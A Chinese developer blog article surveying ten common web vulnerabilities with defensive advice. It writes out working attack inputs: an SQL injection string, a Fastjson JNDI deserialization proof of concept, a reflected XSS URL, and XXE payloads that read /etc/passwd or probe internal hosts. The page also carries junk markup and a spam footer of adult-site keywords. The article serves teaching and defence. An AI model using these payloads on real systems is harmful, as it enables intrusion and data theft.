<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          程序員必備基礎:10種常見安全漏洞淺析

          共 11614字,需瀏覽 24分鐘

           ·

          2021-05-15 23:34

          前言

          我們?nèi)粘i_發(fā)中,很多小伙伴容易忽視安全漏洞問題,認為只要正常實現(xiàn)業(yè)務邏輯就可以了。其實,安全性才是最重要的。本文將跟大家一起學習常見的安全漏洞問題,希望對大家有幫助哈。如果本文有什么錯誤的話,希望大家提出哈,感謝感謝~

          1. SQL 注入

          1.1 什么是SQL注入?

          SQL注入是一種代碼注入技術(shù),一般被應用于攻擊web應用程序。它通過在web應用接口傳入一些特殊參數(shù)字符,來欺騙應用服務器,執(zhí)行惡意的SQL命令,以達到非法獲取系統(tǒng)信息的目的。它目前是黑客對數(shù)據(jù)庫進行攻擊的最常用手段之一。

          1.2 SQL注入是如何攻擊的?

          舉個常見的業(yè)務場景:在web表單搜索框輸入員工名字,然后后臺查詢出對應名字的員工。

          這種場景下,一般都是前端頁面把一個名字參數(shù)name傳到后臺,然后后臺通過SQL把結(jié)果查詢出來

          name = "田螺"; //前端傳過來的

          SQL= "select * from staff where name=" + name;  //根據(jù)前端傳過來的name參數(shù),查詢數(shù)據(jù)庫員工表staff

          因為SQL是直接拼接的,如果我們完全信任前端傳的參數(shù)的話。假如前端傳這么一個參數(shù)時'' or '1'='1',SQL就變成醬紫的啦。

          select * from staff where name='' or '1'='1';

          這個SQL會把所有的員工信息全都查出來了,醬紫請求用戶已經(jīng)越權(quán)啦。請求者可以獲取所有員工的信息,其他用戶信息已經(jīng)暴露了啦。

          1.3 如何預防SQL注入問題

          1.3.1 使用#{}而不是${}

          在MyBatis中,使用#{}而不是${},可以很大程度防止sql注入。

          • 因為#{}是一個參數(shù)占位符,對于字符串類型,會自動加上"",其他類型不加。由于Mybatis采用預編譯,其后的參數(shù)不會再進行SQL編譯,所以一定程度上防止SQL注入。
          • ${}是一個簡單的字符串替換,字符串是什么,就會解析成什么,存在SQL注入風險

          1.3.2 不要暴露一些不必要的日志或者安全信息,比如避免直接響應一些sql異常信息。

          如果SQL發(fā)生異常了,不要把這些信息暴露響應給用戶,可以自定義異常進行響應

          1.3.3 不相信任何外部輸入?yún)?shù),過濾參數(shù)中含有的一些數(shù)據(jù)庫關(guān)鍵詞關(guān)鍵詞

          可以加個參數(shù)校驗過濾的方法,過濾union,or等數(shù)據(jù)庫關(guān)鍵詞

          1.3.4 適當?shù)臋?quán)限控制

          在你查詢信息時,先校驗下當前用戶是否有這個權(quán)限。比如說,實現(xiàn)代碼的時候,可以讓用戶多傳一個企業(yè)Id什么的,或者獲取當前用戶的session信息等,在查詢前,先校驗一下當前用戶是否是這個企業(yè)下的等等,是的話才有這個查詢員工的權(quán)限。

          2. JSON反序列化漏洞——如Fastjson安全漏洞

          2.1 什么是JSON序列化,JSON發(fā)序列化

          • 序列化:把對象轉(zhuǎn)換為字節(jié)序列的過程
          • 反序列:把字節(jié)序列恢復為Java對象的過程

          Json序列化就是將對象轉(zhuǎn)換成Json格式的字符串,JSON反序列化就是Json串轉(zhuǎn)換成對象

          2.2 JSON 反序列化漏洞是如何被攻擊?

          不安全的反序列化可以導致遠程代碼執(zhí)行、重放攻擊、注入攻擊或特權(quán)升級攻擊。之前Fastjson頻繁爆出安全漏洞,我們現(xiàn)在分析fastjson 1.2.24版本的一個反序列化漏洞吧,這個漏洞比較常見的利用手法就是通過jndi注入的方式實現(xiàn)RCE。

          我們先來看fastjson一個反序列化的簡單例子:

          public class User {
              private String name;

              private int age;

              public String getName() {
                  return name;
              }

              public void setName(String name) {
                  System.out.println("調(diào)用了name方法");
                  this.name = name;
              }

              public int getAge() {
                  return age;
              }

              public void setAge(int age) {
                  System.out.println("調(diào)用了age方法");
                  this.age = age;
              }

              public static void main(String[] args) {
                  String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"撿田螺的小男孩\"}";
                  User user = JSON.parseObject(str,User.class);
              }
          }

          運行結(jié)果:

          調(diào)用了age方法
          調(diào)用了name方法

          加了@type屬性就能調(diào)用對應對象的setXXX方法,而@type表示指定反序列化成某個類。如果我們能夠找到一個類,而這個類的某個setXXX方法中通過我們的精心構(gòu)造能夠完成命令執(zhí)行,即可達到攻擊的目的啦。

          com.sun.rowset.JdbcRowSetImpl 就是類似這么一個類,它有兩個set方法,分別是setAutoCommit和setDataSourceName

          有興趣的小伙伴,可以看下它的源代碼

            public void setDataSourceName(String var1) throws SQLException {
                  if (this.getDataSourceName() != null) {
                      if (!this.getDataSourceName().equals(var1)) {
                          super.setDataSourceName(var1);
                          this.conn = null;
                          this.ps = null;
                          this.rs = null;
                      }
                  } else {
                      super.setDataSourceName(var1);
                  }

              }
              
                public void setAutoCommit(boolean var1) throws SQLException {
                  if (this.conn != null) {
                      this.conn.setAutoCommit(var1);
                  } else {
                      this.conn = this.connect();
                      this.conn.setAutoCommit(var1);
                  }

              }
              
              private Connection connect() throws SQLException {
                  if (this.conn != null) {
                      return this.conn;
                  } else if (this.getDataSourceName() != null) {
                      try {
                          InitialContext var1 = new InitialContext();
                          DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                          return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
                      } catch (NamingException var3) {
                          throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
                      }
                  } else {
                      return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
                  }
              }

          setDataSourceName 簡單設置了設置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法調(diào)用,參數(shù)剛好就是在setDataSourceName中設置的dataSourceName。

          因此,有漏洞的反序列代碼實現(xiàn)如下即可:

          public class FastjsonTest {

              public static void main(String[] argv){
                  testJdbcRowSetImpl();
              }

              public static void testJdbcRowSetImpl(){
                  //JDK 8u121以后版本需要設置改系統(tǒng)變量
                  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true");
                  //RMI
                  String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                          " \"autoCommit\":true}";
                  JSONObject.parseObject(payload2);
              }
          }

          漏洞復現(xiàn)的流程如下哈:

          參考的代碼來源這里哈,fastjson漏洞代碼測試(https://github.com/earayu/fastjson_jndi_poc)

          如何解決json反序列化漏洞問題

          • 可以升級版本,比如fastjson后面版本,增強AutoType打開時的安全性 fastjson,增加了AutoType黑名單等等,都是為了應對這些安全漏洞。
          • 反序列化有fastjson、gson、jackson等等類型,可以替換其他類型。
          • 升級+打開safemode

          3. XSS 攻擊

          3.1 什么是XSS?

          XSS 攻擊全稱跨站腳本攻擊(Cross-Site Scripting),這會與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,因此有人將跨站腳本攻擊縮寫為XSS。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意攻擊用戶的特殊目的。XSS攻擊一般分三種類型:存儲型 、反射型 、DOM型XSS

          3.2 XSS是如何攻擊的?

          拿反射型舉個例子吧,流程圖如下:

          我們搞點簡單代碼樣例吧,首先正常html頁面如下:

          <input type="text" name="name" />
          <input type="submit" value="搜索" onclick="http://127.0.0.1/search?name=">
          </body>
          1. 用戶輸入搜索信息,點擊搜索按鈕,就是到達正常服務器的。如果黑客在url后面的參數(shù)中加入如下的惡意攻擊代碼。
          http://127.0.0.1/search?keyword="<a href ="http://www.baidu.com"><script>alert('XSS');</script></a>
          1. 當用戶打開帶有惡意代碼的URL的時候,正常服務器會解析出請求參數(shù) name,得到"",拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:

          2. 用戶瀏覽器接收到響應后執(zhí)行解析,其中的惡意代碼也會被執(zhí)行到。

          4.這里的鏈接我寫的是百度搜索頁,實際上黑客攻擊的時候,是引誘用戶輸入某些重要信息,然后跳到他們自己的服務器,以竊取用戶提交的內(nèi)容信息。

          3.3 如何解決XSS攻擊問題

          • 不相信用戶的輸入,對輸入進行過濾,過濾標簽等,只允許合法值。
          • HTML 轉(zhuǎn)義
          • 對于鏈接跳轉(zhuǎn),如<a href="xxx" 等,要校驗內(nèi)容,禁止以script開頭的非法鏈接。
          • 限制輸入長度等等

          4. CSRF 攻擊

          4.1 什么是CSRF 攻擊?

          CSRF,跨站請求偽造(英語:Cross-site request forgery),簡單點說就是,攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求。跟跨網(wǎng)站腳本(XSS)相比,XSS 利用的是用戶對指定網(wǎng)站的信任,CSRF 利用的是網(wǎng)站對用戶網(wǎng)頁瀏覽器的信任。

          4.2 CSRF是如何攻擊的呢?

          我們來看下這個例子哈(來自百度百科)


            1. Tom 登陸銀行,沒有退出,瀏覽器包含了Tom在銀行的身份認證信息。

            2. 黑客Jerry將偽造的轉(zhuǎn)賬請求,包含在在帖子

            3. Tom在銀行網(wǎng)站保持登陸的情況下,瀏覽帖子

            4. 將偽造的轉(zhuǎn)賬請求連同身份認證信息,發(fā)送到銀行網(wǎng)站

            5. 銀行網(wǎng)站看到身份認證信息,以為就是Tom的合法操作,最后造成Tom資金損失。

          4.3 如何解決CSRF攻擊

          • 檢查Referer字段。HTTP頭中有一個Referer字段,這個字段用以標明請求來源于哪個地址。
          • 添加校驗token。

          5. 文件上傳下載漏洞

          5.1 文件上傳漏洞

          文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務器端命令的能力。常見場景是web服務器允許用戶上傳圖片或者普通文本文件保存,而用戶繞過上傳機制上傳惡意代碼并執(zhí)行從而控制服務器。

          解決辦法一般就是:

          • 限制服務器相關(guān)文件目錄的權(quán)限
          • 校驗上傳的文件,如后綴名 禁止上傳惡意代碼的文件
          • 盡量禁止使用前端上傳的文件名

          5.2 文件下載漏洞

          文件下載漏洞,舉個例子,使用 .. 等字符,使應用讀取到指定目錄之外的其他目錄中的文件內(nèi)容,從而可能讀取到服務器的其他相關(guān)重要信息。

          6. 敏感數(shù)據(jù)泄露

          這個相對比較好理解,一般敏感信息包括密碼、用戶手機身份證信息、財務數(shù)據(jù)等等,由于web應用或者API未加密或者疏忽保護,導致這些數(shù)據(jù)極易被黑客利用。所以我們需要保護好用戶的隱私數(shù)據(jù),比如用戶密碼加密保存,請求采用https加密,重要第三方接口采用加簽驗簽,服務端日志不打印敏感數(shù)據(jù)等等。

          7. XXE 漏洞

          7.1 什么是XXE

          XXE就是XML外部實體注入。當允許引用外部實體時,通過構(gòu)造惡意內(nèi)容,就可能導致任意文件讀取、系統(tǒng)命令執(zhí)行、內(nèi)網(wǎng)端口探測、攻擊內(nèi)網(wǎng)網(wǎng)站等危害。

          7.2 XXE三種攻擊場景

          • 場景1. 攻擊者嘗試從服務端提取數(shù)據(jù)
          <?xml version="1.0"?>
          <!DOCTYPE foo [
          <!ELEMENT foo (#ANY)>
          <!ENTITY file SYSTEM "file:///etc/passwd">]>
          ]>
          <foo>&xxe;</foo>
          • 場景2. 攻擊者通過將上面的實體行更改為一下內(nèi)容來探測服務器的專用網(wǎng)絡
          <!ENTITY xxe SYSTEM "https://192.168.1.1/private">]>
          • 場景3. 攻擊者通過惡意文件執(zhí)行拒絕服務攻擊
          <!ENTITY xxe SYSTEM "file:///dev/random">]>

          7.3 如何防御XXE

          • 使用開發(fā)語言提供的禁用外部實體的方法
          • 過濾用戶提交的XML數(shù)據(jù),過濾<!DOCTYPE和<!ENTITY等關(guān)鍵詞。

          8. DDoS 攻擊

          8.1 什么是DDos攻擊

          DDoS 攻擊,英文全稱是 Distributed Denial of Service,谷歌翻譯過來就是“分布式拒絕服務”。一般來說是指攻擊者對目標網(wǎng)站在較短的時間內(nèi)發(fā)起大量請求,大規(guī)模消耗目標網(wǎng)站的主機資源,讓它無法正常服務。在線游戲、互聯(lián)網(wǎng)金融等領域是 DDoS 攻擊的高發(fā)行業(yè)。

          為了方便理解,引用一下知乎上一個非常經(jīng)典的例子

          我開了一家有五十個座位的重慶火鍋店,由于用料上等,童叟無欺。平時門庭若市,生意特別紅火,而對面二狗家的火鍋店卻無人問津。二狗為了對付我,想了一個辦法,叫了五十個人來我的火鍋店坐著卻不點菜,讓別的客人無法吃飯。

          8.2 如何應對 DDoS 攻擊?

          • 高防服務器,即能獨立硬防御 50Gbps 以上的服務器,能夠幫助網(wǎng)站拒絕服務攻擊,定期掃描網(wǎng)絡主節(jié)點等
          • 黑名單
          • DDoS 清洗
          • CDN 加速

          9. 框架或應用漏洞

          • Struts 框架漏洞:遠程命令執(zhí)行漏洞和開放重定向漏洞
          • QQ Browser 9.6:API 權(quán)限控制問題導致泄露隱私模式
          • Oracle GlassFish Server:REST CSRF
          • WebLogic: 未授權(quán)命令執(zhí)行漏洞
          • Hacking Docker:Registry API 未授權(quán)訪問
          • WordPress 4.7 / 4.7.1:REST API 內(nèi)容注入漏洞

          10. 弱口令、證書有效性驗證、內(nèi)部接口在公網(wǎng)暴露、未鑒權(quán)等權(quán)限相關(guān)漏洞

          10.1 弱口令

          • 空口令
          • 口令長度小于8
          • 口令不應該為連續(xù)的某個字符(QQQQQQ)
          • 賬號密碼相同(例:root:root)
          • 口令與賬號相反(例:root:toor)
          • 口令純數(shù)字(例:112312324234, 電話號)
          • 口令純字母(例:asdjfhask)
          • 口令已數(shù)字代替字母(例:hello word, hell0 w0rd)
          • 口令采用連續(xù)性組合(例:123456,abcdef,654321,fedcba)
          • 服務/設備默認出廠口令

          10.2 證書有效性驗證漏洞

          如果不對證書進行有效性驗證,那https就如同虛設啦。

          • 如果是客戶生成的證書,需要跟系統(tǒng)可信根CA形成信任鏈,不能為了解決ssl證書報錯的問題,選擇在客戶端代碼中信任客戶端中所有證書的方式。
          • 證書快過期時,需要提前更換。

          10.3 未鑒權(quán)等權(quán)限相關(guān)漏洞

          一些比較重要的接口,一般建議鑒權(quán)。比如你查詢某賬號的轉(zhuǎn)賬記錄,肯定需要先校驗該賬號是不是操作人旗下的啦。

          瀏覽 40
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  小宝自拍偷拍视频观看 | 一本道一区二区三区四区 | 国产精品福利高清 | 人人干人人摸人人草 | 色综合网,天天网 |